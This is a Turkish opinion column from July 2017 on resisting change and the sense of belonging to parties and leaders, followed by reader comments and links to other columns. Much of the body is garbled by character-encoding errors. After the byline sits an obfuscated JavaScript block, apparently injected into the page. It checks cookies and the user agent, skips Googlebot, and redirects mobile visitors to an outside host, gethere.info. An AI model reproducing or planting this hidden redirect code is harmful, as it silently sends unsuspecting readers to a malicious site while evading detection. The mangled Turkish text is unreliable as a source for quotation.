DEAzA�AzA�MA�N KAA�INILMAZLIAzI

Temmuz 28, 2017, 10:24 pm 9 izlenme

DeAYiAYim hayatA�n karAYA� konulamaz kuralA�dA�r. DoAYa iA�inde barA�ndA�rdA�AYA� milyonlarca tA?r canlA�yla birlikte her an, durmaksA�zA�n deAYiAYir. DoAYadaki canlA�larA�n hepsi, hayatiyetlerini deAYiAYebilme yeteneklerine borA�ludurlar. DeAYiAYime direnen canlA�lar elenir, uyum gA�sterenlerin soylarA� devam eder. DoAYanA�n kanunu bA�yledir. Toplumsal deAYiAYim kurallarA� da doAYa kurallarA�yla aynA� deAYimlidir? Hayat bizi sA?rekli deAYiAYime zorlamaz mA�? Biz istesek de istemesek de iA�inde bulunduAYumuz koAYullar, A�evre, ortam, iliAYkilerimiz, konumumuz deAYiAYir.

Ne kadar istemesek de deAYiAYen koAYullara uyum saAYlamak zorunda kalA�rA�z.A� DeAYiAYime uyum gA�steremediAYimiz zaman yaAYanan sA�kA�ntA�larA� herkes mutlaka deneyimlemiAYtir. A�nsan aklA� deAYiAYimi kabullenmekte zorlanA�r. A�oAYu insan yaAYadA�AYA� A�evreyi, iA�inde bulunduAYu ortamA� hiA� deAYiAYmeyecekmiAY gibi gA�rA?r, deAYiAYen koAYullara uyum gA�stermek yerine mevcudu korumaya A�alA�AYA�r. A�oAYu insan mevcut durumu kendilerini yeterince mutlu etmese de elindekileri kaybetmek korkusuyla deAYiAYime direnir. Neden mi direniriz?

Bilinmeyen korkusu, GA?venlik ihtiyacA�, alA�AYkanlA�klardan vazgeA�menin zorluAYu, deAYiAYim hakkA�nda yeterince bilgi sahibi olmama, baAYarA�sA�z olma endiAYesi, mevcut durumdaki A?stA?nlA?klerin veya A�A�karlarA�n kaybolacaAYA� korkusu, deAYiAYimin A�ngA�rdA?AYA? yeni AYeyleri A�AYrenme zorluAYu, dar gA�rA?AYlA?lA?k, vizyon eksikliAYi, daha A�nceki deAYiAYimlerden elde edilen olumsuz kiAYisel tecrA?beler, kendine yeterince gA?venmeme, daha iAYin baAYA�ndayken olayA�n dA�AYA�nda kalmA�AY olma, deAYiAYimin kendisine dayatA�lmA�AY olduAYunu dA?AYA?nme, deAYiAYimi yA�netenlere ve uygulayanlara gA?ven duymama.

Bu unsurlarA� daha da A�oAYaltabiliriz ama ben bu listenin en baAYA�na a�?a��AA�DA�YETa��a�� yazmak isterim, evet a�?a��aidiyet duygusua��a��A� !

HiA� kendi aidiyet duygunuz hakkA�nda dA?AYA?ndA?nA?z mA?? Aidiyet duygunuz ne kadar geliAYmiAY sA�yleyebilir misiniz?

Mesela ben bir seyahate gitsem 3 gA?n sonra evimi A�zlerim. Ailemi A�zlerim. DostlarA�mA� A�zlerim. YurtdA�AYA�nda yaAYayanlar veya yaAYamA�AY olanlar A�ok iyi bilirler Memleket A�zlemi, hasret. Ama bazA� insanlar yurtdA�AYA�nda yaAYamanA�n hayalini kurar, eline bavulunu alA�p gitmek ister. Bazen ailece giderler. Peki bu kiAYilerin hiA� mi eAYi dostu, annesi, babasA�, kardeAYi yoktur? Ben mahallemizdeki kedi ve kA�pekleri bile A�zlerim valla. NasA�l hepsini birden terk eder gider insan? Bunun kA�tA? olduAYunu sA�ylemiyorum hatta A�ekip gitmeyi A�ok cesurca buluyorum. HiA�bir AYeye baAYA�mlA� olmamak belki de A�zgA?rlA?klerin en gA?zeli ama ben henA?z baAYarmA�AY deAYilimJ

a�?a��AA�DA�YETa��a�� Yani bir kiAYiye, bir cemiyete, bir derneAYe, bir aileye, bir iAYyerine, bir A?lkeye, bir siyasi oluAYuma ait olma duygusu. Yani kendini o gurubun iA�inde hissetmek. Biz TA?rklerin aidiyet duygusu fazlaca geliAYmiAYtir, bu tartA�AYA�lmaz bir gerA�ektir ve bu A�ok gA?zel bir AYeydir. Zira a�?a��Aidiyeta��a�� duygusuna sahip olan kiAYiler, bulunduklarA� kurumlarA� sA�rtlanan kiAYilerdir. Aidiyet duygusu yA?ksek olan kiAYiler, aynA� zamanda amatA�r ruha da sahiptir. Bu kiAYilerin A�oAYunlukla bireysel kazanA� beklentileri yoktur; onlar, ait olduklarA� kurumun veya toplumun baAYarA�sA�ndan beslenir ve gururlanA�rlar. OnlarA� ayakta tutan ve bu baAYlA�lA�klarA�nA�n sA?rmesini saAYlayan AYey ise sadece yaptA�klarA�nA�n gA�rA?lmesi ve desteklenmesidir.
Hangi alanda olursa olsun, gA�rev verildiAYi zaman, aldA�AYA� gA�revi yerine getirmek, geliAYtirmek iA�in elinden gelenin fazlasA�nA� yaparlar.

Gelelim siyasetin iA�inde ki aidiyet meselesine. TA?rkiye’de A�deolojik ya da partisel baAYlanA�mlar dA?AYA?nsel bir baAYlanA�m olmaktan A�ok, duygusal/kiAYilikle ilgili baAYlanA�mlarA� iA�eriyor.
Ailemize baAYlanA�r gibi baAYlanA�yoruz siyasetA�ilere, partilere, ideolojik bir dA?AYA?nceye.

Bir partiyi destekleyip, bir siyasi ideoloji iA�inde olup, aynA� zamanda o yapA�ya ‘eleAYtirel bakabilen (eleAYtiren) kaA� insan tanA�yorsunuz? Peki eleAYtiren kiAYilere nasA�l bakA�yorsunuz? Onlar size nasA�l bakA�yor? Kim tutarlA�? Kim tutarsA�z? Kim haklA�? Kim haksA�z? EAYer ki tek bir DoAYru varsa, hangisi doAYru?

Peki, bA?tA?n bu duygusal karmaAYalar iA�ersinde, bA?tA?n bu dA?AYA?ncelerin sonucunda elde edilen ne vardA�r? kimin A�A�karA� vardA�r? tabii ki partilerin ve siyasetA�ilerin. Partiler kendilerini geliAYtirme gereAYi duymazlar, kendilerini deAYiAYtirme gereAYi duymazlar, insan kaybetmeyi gA�ze alabilir, kaybettiklerini A�zlemezler, onlarA�n bize karAYA� a�?a��aidiyet duygusua��a�� yoktur.
Niye duysunlar ki? a�?a�� Aidiyeta��a�� duygusu geliAYmiAY milyonlarca insan varken. Partilerin de, ideolojilerin de ‘insan A?retimi’ olduAYunu, bir din olmadA�AYA�nA� dA?AYA?nA?rsek, partilerle ilgili siyasetA�ilerle ilgili a�?a��aidiyetia��a�� sorgulamak yanlA�AY mA� olur? DeAYerlerimiz A?zerinden deAYil, AYahA�slar ve kimlikler A?zerinden yapA�lan siyaset ne kadar aidiyet gerektir sizce? Bizim aidiyetimizle kimlik bulan siyasetA�ileri veya liderleri sorgulamak hakkA�mA�z deAYil midir? Hal bA�yle olunca deAYiAYimin bizi korkutmasA�na izin vermek hata olmaz mA�? DeAYiAYimin bizi ileriye gA�tA?receAYini var sayarsak ve kaA�A�nA�lmaz bir deAYiAYimin kapA�da olduAYunu hissedersek, A�yeniliye aA�A�k olmak en doAYrusu deAYimlidir? A�bu bazen sadece yeni bir bakA�AY aA�A�sA� olsa bile, iyiye deAYiAYim her zaman iyidir diyebilir miyiz?

DeAYiAYim iyidir arkadaAYlar, deAYiAYen kiAYiliAYimiz deAYilse eAYer.

 

Serpil DURBARIAz

21 Temmuz 2017var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

BENZER KÖŞE YAZILARI

YORUMLAR

Yazıya 2 yorum yapılmış.

Metin yiğit kocalp Temmuz 30, 2017

Değişim iyidir arkadaşlar, değişen kişiliğimiz değilse eğer..

Ağzınıza, elinize kaleminize sağlık.

Hayırlı akşamlar

Serpil Durbarış Ağustos 2, 2017

Çok teşekkür ederim Metin bey. Selamlar ve saygılar.

DİĞER YAZILARI

İTTİFAK

  Farklı kişilerin ya da grupların kazanma ihtimali olan seçimlere gerek yok. İnsanları heyecanlandıran ve...

Şubat 22, 2018

Afrin; Türkiye’nin Dış Politikasında Paradigma Değişikliği

Bu yazı Afrin’de Vatan’a can olan Türk milletinin kahraman evlatlarına adanmıştır. Allah Onları Korusun. Ortadoğu...

Ocak 22, 2018

SEÇİM

2. Turda en fazla oyu alan muhalif CB adayını destekleme kararı ‘ittifak’ değildir. Hiç aday...

Aralık 16, 2017

Güzel Ahlak siyasete ağır mı geliyor

Son zamanlarda Cumhurumuzun ifadelerinde,özellikle Büyük şehirler başta olmak üzere Kent merkezlerinde betonlaşmaya dikkat çekmesi,Belediye Başkanlarına...

Aralık 3, 2017

Ya herru, ya merrü…

    Merhaba Tak-şak döneminin aziz vatandaşları, merhaba size! Şak-şaklar, boş lak-laklar ve yavşaklar arasında...

Ekim 25, 2017